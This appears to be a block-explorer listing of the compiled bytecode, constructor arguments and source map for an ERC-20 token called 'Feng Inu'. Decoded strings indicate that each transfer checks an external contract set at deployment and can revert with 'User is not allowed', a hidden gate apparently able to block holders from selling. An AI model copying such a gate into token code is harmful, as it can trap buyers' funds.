0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b8063715018a614610214578063837197b21461021e5780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f9190610f0a565b60405180910390f35b610132600480360381019061012d9190610fc5565b6103b4565b60405161013f9190611020565b60405180910390f35b6101506103d7565b60405161015d919061104a565b60405180910390f35b610180600480360381019061017b9190611065565b6103e1565b60405161018d9190611020565b60405180910390f35b61019e610410565b6040516101ab91906110d4565b60405180910390f35b6101ce60048036038101906101c99190610fc5565b610419565b6040516101db9190611020565b60405180910390f35b6101fe60048036038101906101f991906110ef565b610450565b60405161020b919061104a565b60405180910390f35b61021c610498565b005b610238600480360381019061023391906110ef565b6104ac565b005b61024261051d565b60405161024f919061112b565b60405180910390f35b610260610547565b60405161026d9190610f0a565b60405180910390f35b610290600480360381019061028b9190610fc5565b6105d9565b60405161029d9190611020565b60405180910390f35b6102c060048036038101906102bb9190610fc5565b610650565b6040516102cd9190611020565b60405180910390f35b6102f060048036038101906102eb9190611146565b610673565b6040516102fd919061104a565b60405180910390f35b610320600480360381019061031b91906110ef565b6106fa565b005b606060048054610331906111b5565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906111b5565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b6000806103bf61077d565b90506103cc818585610785565b600191505092915050565b6000600354905090565b6000806103ec61077d565b90506103f985828561094e565b6104048585856109da565b60019150509392505050565b60006012905090565b60008061042461077d565b90506104458185856104368589610673565b6104409190611215565b610785565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104a0610d2c565b6104aa6000610daa565b565b6104b4610d2c565b60006104bf33610450565b90506a7c13bc4b2c133c56000000811461050e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050590611295565b60405180910390fd5b6105193383836109da565b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610556906111b5565b80601f0160208091040260200160405190810160405280929190818152602001828054610582906111b5565b80156105cf5780601f106105a4576101008083540402835291602001916105cf565b820191906000526020600020905b8154815290600101906020018083116105b257829003601f168201915b5050505050905090565b6000806105e461077d565b905060006105f28286610673565b905083811015610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e90611327565b60405180910390fd5b6106448286868403610785565b60019250505092915050565b60008061065b61077d565b90506106688185856109da565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610702610d2c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610771576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610768906113b9565b60405180910390fd5b61077a81610daa565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036107f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107eb9061144b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906114dd565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610941919061104a565b60405180910390a3505050565b600061095a8484610673565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109d457818110156109c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bd90611549565b60405180910390fd5b6109d38484848403610785565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a40906115db565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ab8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aaf9061166d565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f5f9a371846040518263ffffffff1660e01b8152600401610b13919061112b565b602060405180830381865afa158015610b30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5491906116b9565b15610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b90611732565b60405180910390fd5b610b9f838383610e70565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1c906117c4565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d13919061104a565b60405180910390a3610d26848484610e75565b50505050565b610d3461077d565b73ffffffffffffffffffffffffffffffffffffffff16610d5261051d565b73ffffffffffffffffffffffffffffffffffffffff1614610da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9f90611830565b60405180910390fd5b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610eb4578082015181840152602081019050610e99565b60008484015250505050565b6000601f19601f8301169050919050565b6000610edc82610e7a565b610ee68185610e85565b9350610ef6818560208601610e96565b610eff81610ec0565b840191505092915050565b60006020820190508181036000830152610f248184610ed1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f5c82610f31565b9050919050565b610f6c81610f51565b8114610f7757600080fd5b50565b600081359050610f8981610f63565b92915050565b6000819050919050565b610fa281610f8f565b8114610fad57600080fd5b50565b600081359050610fbf81610f99565b92915050565b60008060408385031215610fdc57610fdb610f2c565b5b6000610fea85828601610f7a565b9250506020610ffb85828601610fb0565b9150509250929050565b60008115159050919050565b61101a81611005565b82525050565b60006020820190506110356000830184611011565b92915050565b61104481610f8f565b82525050565b600060208201905061105f600083018461103b565b92915050565b60008060006060848603121561107e5761107d610f2c565b5b600061108c86828701610f7a565b935050602061109d86828701610f7a565b92505060406110ae86828701610fb0565b9150509250925092565b600060ff82169050919050565b6110ce816110b8565b82525050565b60006020820190506110e960008301846110c5565b92915050565b60006020828403121561110557611104610f2c565b5b600061111384828501610f7a565b91505092915050565b61112581610f51565b82525050565b6000602082019050611140600083018461111c565b92915050565b6000806040838503121561115d5761115c610f2c565b5b600061116b85828601610f7a565b925050602061117c85828601610f7a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806111cd57607f821691505b6020821081036111e0576111df611186565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061122082610f8f565b915061122b83610f8f565b9250828201905080821115611243576112426111e6565b5b92915050565b7f546f6b656e7320616c7265616479206469737472696275746564000000000000600082015250565b600061127f601a83610e85565b915061128a82611249565b602082019050919050565b600060208201905081810360008301526112ae81611272565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611311602583610e85565b915061131c826112b5565b604082019050919050565b6000602082019050818103600083015261134081611304565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006113a3602683610e85565b91506113ae82611347565b604082019050919050565b600060208201905081810360008301526113d281611396565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611435602483610e85565b9150611440826113d9565b604082019050919050565b6000602082019050818103600083015261146481611428565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006114c7602283610e85565b91506114d28261146b565b604082019050919050565b600060208201905081810360008301526114f6816114ba565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611533601d83610e85565b915061153e826114fd565b602082019050919050565b6000602082019050818103600083015261156281611526565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006115c5602583610e85565b91506115d082611569565b604082019050919050565b600060208201905081810360008301526115f4816115b8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611657602383610e85565b9150611662826115fb565b604082019050919050565b600060208201905081810360008301526116868161164a565b9050919050565b61169681611005565b81146116a157600080fd5b50565b6000815190506116b38161168d565b92915050565b6000602082840312156116cf576116ce610f2c565b5b60006116dd848285016116a4565b91505092915050565b7f55736572206973206e6f7420616c6c6f77656400000000000000000000000000600082015250565b600061171c601383610e85565b9150611727826116e6565b602082019050919050565b6000602082019050818103600083015261174b8161170f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006117ae602683610e85565b91506117b982611752565b604082019050919050565b600060208201905081810360008301526117dd816117a1565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061181a602083610e85565b9150611825826117e4565b602082019050919050565b600060208201905081810360008301526118498161180d565b905091905056fea2646970667358221220ded9baf168eaada8f445a2bb17319c1c76dabcd089fb4345af117001d8feb7bf64736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000038d2a5548888160d2718a59d4a2f1b18b9a9e154000000000000000000000000000000000000000000000000000000000000000846656e6720496e75000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000446454e4700000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Feng Inu
Arg [1] : symbol_ (string): FENG
Arg [2] : base_ (address): 0x38d2a5548888160d2718a59D4a2f1B18B9a9E154

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000038d2a5548888160d2718a59d4a2f1b18b9a9e154
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 46656e6720496e75000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 46454e4700000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

9032:552:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3996:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4717:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3719:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5323:289;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3835:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5622:224;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4382:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;980:103;;;:::i;:::-;;9333:248;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;743:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4215:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5857:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5120:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4568:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1293:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3996:100;4050:13;4083:5;4076:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3996:100;:::o;4717:197::-;4798:4;4815:13;4831:12;:10;:12::i;:::-;4815:28;;4854:30;4863:5;4870:7;4879:4;4854:8;:30::i;:::-;4902:4;4895:11;;;4717:197;;;;:::o;3719:108::-;3780:7;3807:12;;3800:19;;3719:108;:::o;5323:289::-;5452:4;5469:15;5487:12;:10;:12::i;:::-;5469:30;;5510:36;5526:4;5532:7;5541:4;5510:15;:36::i;:::-;5557:25;5567:4;5573:2;5577:4;5557:9;:25::i;:::-;5600:4;5593:11;;;5323:289;;;;;:::o;3835:93::-;3893:5;3918:2;3911:9;;3835:93;:::o;5622:224::-;5703:4;5720:13;5736:12;:10;:12::i;:::-;5720:28;;5759:57;5768:5;5775:7;5812:3;5784:25;5794:5;5801:7;5784:9;:25::i;:::-;:31;;;;:::i;:::-;5759:8;:57::i;:::-;5834:4;5827:11;;;5622:224;;;;:::o;4382:123::-;4454:7;4481:9;:16;4491:5;4481:16;;;;;;;;;;;;;;;;4474:23;;4382:123;;;:::o;980:103::-;698:13;:11;:13::i;:::-;1045:30:::1;1072:1;1045:18;:30::i;:::-;980:103::o:0;9333:248::-;698:13;:11;:13::i;:::-;9405:14:::1;9422:21;9432:10;9422:9;:21::i;:::-;9405:38;;9113:18;9462:6;:24;9454:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;9530:43;9540:10;9552:12;9566:6;9530:9;:43::i;:::-;9394:187;9333:248:::0;:::o;743:87::-;789:7;816:6;;;;;;;;;;;809:13;;743:87;:::o;4215:104::-;4271:13;4304:7;4297:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4215:104;:::o;5857:400::-;5938:4;5955:13;5971:12;:10;:12::i;:::-;5955:28;;5994:24;6021:25;6031:5;6038:7;6021:9;:25::i;:::-;5994:52;;6085:3;6065:16;:23;;6057:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6166:48;6175:5;6182:7;6210:3;6191:16;:22;6166:8;:48::i;:::-;6245:4;6238:11;;;;5857:400;;;;:::o;5120:189::-;5197:4;5214:13;5230:12;:10;:12::i;:::-;5214:28;;5253:26;5263:5;5270:2;5274:4;5253:9;:26::i;:::-;5297:4;5290:11;;;5120:189;;;;:::o;4568:139::-;4651:7;4678:11;:17;4690:4;4678:17;;;;;;;;;;;;;;;:21;4696:2;4678:21;;;;;;;;;;;;;;;;4671:28;;4568:139;;;;:::o;1293:201::-;698:13;:11;:13::i;:::-;1402:1:::1;1382:22;;:8;:22;;::::0;1374:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1458:28;1477:8;1458:18;:28::i;:::-;1293:201:::0;:::o;203:98::-;256:7;283:10;276:17;;203:98;:::o;8425:374::-;8576:1;8559:19;;:5;:19;;;8551:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8657:1;8638:21;;:7;:21;;;8630:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8741:4;8711:11;:18;8723:5;8711:18;;;;;;;;;;;;;;;:27;8730:7;8711:27;;;;;;;;;;;;;;;:34;;;;8777:7;8761:30;;8770:5;8761:30;;;8786:4;8761:30;;;;;;:::i;:::-;;;;;;;;8425:374;;;:::o;7970:447::-;8103:24;8130:25;8140:5;8147:7;8130:9;:25::i;:::-;8103:52;;8190:17;8170:16;:37;8166:244;;8252:4;8232:16;:24;;8224:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;8334:49;8343:5;8350:7;8378:4;8359:16;:23;8334:8;:49::i;:::-;8166:244;8092:325;7970:447;;;:::o;6265:896::-;6410:1;6394:18;;:4;:18;;;6386:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6487:1;6473:16;;:2;:16;;;6465:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6549:15;;;;;;;;;;;:24;;;6574:4;6549:30;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6548:31;6540:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;6614:36;6635:4;6641:2;6645:4;6614:20;:36::i;:::-;6663:19;6685:9;:15;6695:4;6685:15;;;;;;;;;;;;;;;;6663:37;;6734:4;6719:11;:19;;6711:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;6849:4;6835:11;:18;6817:9;:15;6827:4;6817:15;;;;;;;;;;;;;;;:36;;;;7050:4;7033:9;:13;7043:2;7033:13;;;;;;;;;;;;;;;;:21;;;;;;;;;;;7098:2;7083:24;;7092:4;7083:24;;;7102:4;7083:24;;;;;;:::i;:::-;;;;;;;;7118:35;7138:4;7144:2;7148:4;7118:19;:35::i;:::-;6375:786;6265:896;;;:::o;840:132::-;915:12;:10;:12::i;:::-;904:23;;:7;:5;:7::i;:::-;:23;;;896:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;840:132::o;1091:191::-;1165:16;1184:6;;;;;;;;;;;1165:25;;1210:8;1201:6;;:17;;;;;;;;;;;;;;;;;;1265:8;1234:40;;1255:8;1234:40;;;;;;;;;;;;1154:128;1091:191;:::o;8809:89::-;;;;:::o;8908:88::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:180::-;6580:77;6577:1;6570:88;6677:4;6674:1;6667:15;6701:4;6698:1;6691:15;6718:191;6758:3;6777:20;6795:1;6777:20;:::i;:::-;6772:25;;6811:20;6829:1;6811:20;:::i;:::-;6806:25;;6854:1;6851;6847:9;6840:16;;6875:3;6872:1;6869:10;6866:36;;;6882:18;;:::i;:::-;6866:36;6718:191;;;;:::o;6915:176::-;7055:28;7051:1;7043:6;7039:14;7032:52;6915:176;:::o;7097:366::-;7239:3;7260:67;7324:2;7319:3;7260:67;:::i;:::-;7253:74;;7336:93;7425:3;7336:93;:::i;:::-;7454:2;7449:3;7445:12;7438:19;;7097:366;;;:::o;7469:419::-;7635:4;7673:2;7662:9;7658:18;7650:26;;7722:9;7716:4;7712:20;7708:1;7697:9;7693:17;7686:47;7750:131;7876:4;7750:131;:::i;:::-;7742:139;;7469:419;;;:::o;7894:224::-;8034:34;8030:1;8022:6;8018:14;8011:58;8103:7;8098:2;8090:6;8086:15;8079:32;7894:224;:::o;8124:366::-;8266:3;8287:67;8351:2;8346:3;8287:67;:::i;:::-;8280:74;;8363:93;8452:3;8363:93;:::i;:::-;8481:2;8476:3;8472:12;8465:19;;8124:366;;;:::o;8496:419::-;8662:4;8700:2;8689:9;8685:18;8677:26;;8749:9;8743:4;8739:20;8735:1;8724:9;8720:17;8713:47;8777:131;8903:4;8777:131;:::i;:::-;8769:139;;8496:419;;;:::o;8921:225::-;9061:34;9057:1;9049:6;9045:14;9038:58;9130:8;9125:2;9117:6;9113:15;9106:33;8921:225;:::o;9152:366::-;9294:3;9315:67;9379:2;9374:3;9315:67;:::i;:::-;9308:74;;9391:93;9480:3;9391:93;:::i;:::-;9509:2;9504:3;9500:12;9493:19;;9152:366;;;:::o;9524:419::-;9690:4;9728:2;9717:9;9713:18;9705:26;;9777:9;9771:4;9767:20;9763:1;9752:9;9748:17;9741:47;9805:131;9931:4;9805:131;:::i;:::-;9797:139;;9524:419;;;:::o;9949:223::-;10089:34;10085:1;10077:6;10073:14;10066:58;10158:6;10153:2;10145:6;10141:15;10134:31;9949:223;:::o;10178:366::-;10320:3;10341:67;10405:2;10400:3;10341:67;:::i;:::-;10334:74;;10417:93;10506:3;10417:93;:::i;:::-;10535:2;10530:3;10526:12;10519:19;;10178:366;;;:::o;10550:419::-;10716:4;10754:2;10743:9;10739:18;10731:26;;10803:9;10797:4;10793:20;10789:1;10778:9;10774:17;10767:47;10831:131;10957:4;10831:131;:::i;:::-;10823:139;;10550:419;;;:::o;10975:221::-;11115:34;11111:1;11103:6;11099:14;11092:58;11184:4;11179:2;11171:6;11167:15;11160:29;10975:221;:::o;11202:366::-;11344:3;11365:67;11429:2;11424:3;11365:67;:::i;:::-;11358:74;;11441:93;11530:3;11441:93;:::i;:::-;11559:2;11554:3;11550:12;11543:19;;11202:366;;;:::o;11574:419::-;11740:4;11778:2;11767:9;11763:18;11755:26;;11827:9;11821:4;11817:20;11813:1;11802:9;11798:17;11791:47;11855:131;11981:4;11855:131;:::i;:::-;11847:139;;11574:419;;;:::o;11999:179::-;12139:31;12135:1;12127:6;12123:14;12116:55;11999:179;:::o;12184:366::-;12326:3;12347:67;12411:2;12406:3;12347:67;:::i;:::-;12340:74;;12423:93;12512:3;12423:93;:::i;:::-;12541:2;12536:3;12532:12;12525:19;;12184:366;;;:::o;12556:419::-;12722:4;12760:2;12749:9;12745:18;12737:26;;12809:9;12803:4;12799:20;12795:1;12784:9;12780:17;12773:47;12837:131;12963:4;12837:131;:::i;:::-;12829:139;;12556:419;;;:::o;12981:224::-;13121:34;13117:1;13109:6;13105:14;13098:58;13190:7;13185:2;13177:6;13173:15;13166:32;12981:224;:::o;13211:366::-;13353:3;13374:67;13438:2;13433:3;13374:67;:::i;:::-;13367:74;;13450:93;13539:3;13450:93;:::i;:::-;13568:2;13563:3;13559:12;13552:19;;13211:366;;;:::o;13583:419::-;13749:4;13787:2;13776:9;13772:18;13764:26;;13836:9;13830:4;13826:20;13822:1;13811:9;13807:17;13800:47;13864:131;13990:4;13864:131;:::i;:::-;13856:139;;13583:419;;;:::o;14008:222::-;14148:34;14144:1;14136:6;14132:14;14125:58;14217:5;14212:2;14204:6;14200:15;14193:30;14008:222;:::o;14236:366::-;14378:3;14399:67;14463:2;14458:3;14399:67;:::i;:::-;14392:74;;14475:93;14564:3;14475:93;:::i;:::-;14593:2;14588:3;14584:12;14577:19;;14236:366;;;:::o;14608:419::-;14774:4;14812:2;14801:9;14797:18;14789:26;;14861:9;14855:4;14851:20;14847:1;14836:9;14832:17;14825:47;14889:131;15015:4;14889:131;:::i;:::-;14881:139;;14608:419;;;:::o;15033:116::-;15103:21;15118:5;15103:21;:::i;:::-;15096:5;15093:32;15083:60;;15139:1;15136;15129:12;15083:60;15033:116;:::o;15155:137::-;15209:5;15240:6;15234:13;15225:22;;15256:30;15280:5;15256:30;:::i;:::-;15155:137;;;;:::o;15298:345::-;15365:6;15414:2;15402:9;15393:7;15389:23;15385:32;15382:119;;;15420:79;;:::i;:::-;15382:119;15540:1;15565:61;15618:7;15609:6;15598:9;15594:22;15565:61;:::i;:::-;15555:71;;15511:125;15298:345;;;;:::o;15649:169::-;15789:21;15785:1;15777:6;15773:14;15766:45;15649:169;:::o;15824:366::-;15966:3;15987:67;16051:2;16046:3;15987:67;:::i;:::-;15980:74;;16063:93;16152:3;16063:93;:::i;:::-;16181:2;16176:3;16172:12;16165:19;;15824:366;;;:::o;16196:419::-;16362:4;16400:2;16389:9;16385:18;16377:26;;16449:9;16443:4;16439:20;16435:1;16424:9;16420:17;16413:47;16477:131;16603:4;16477:131;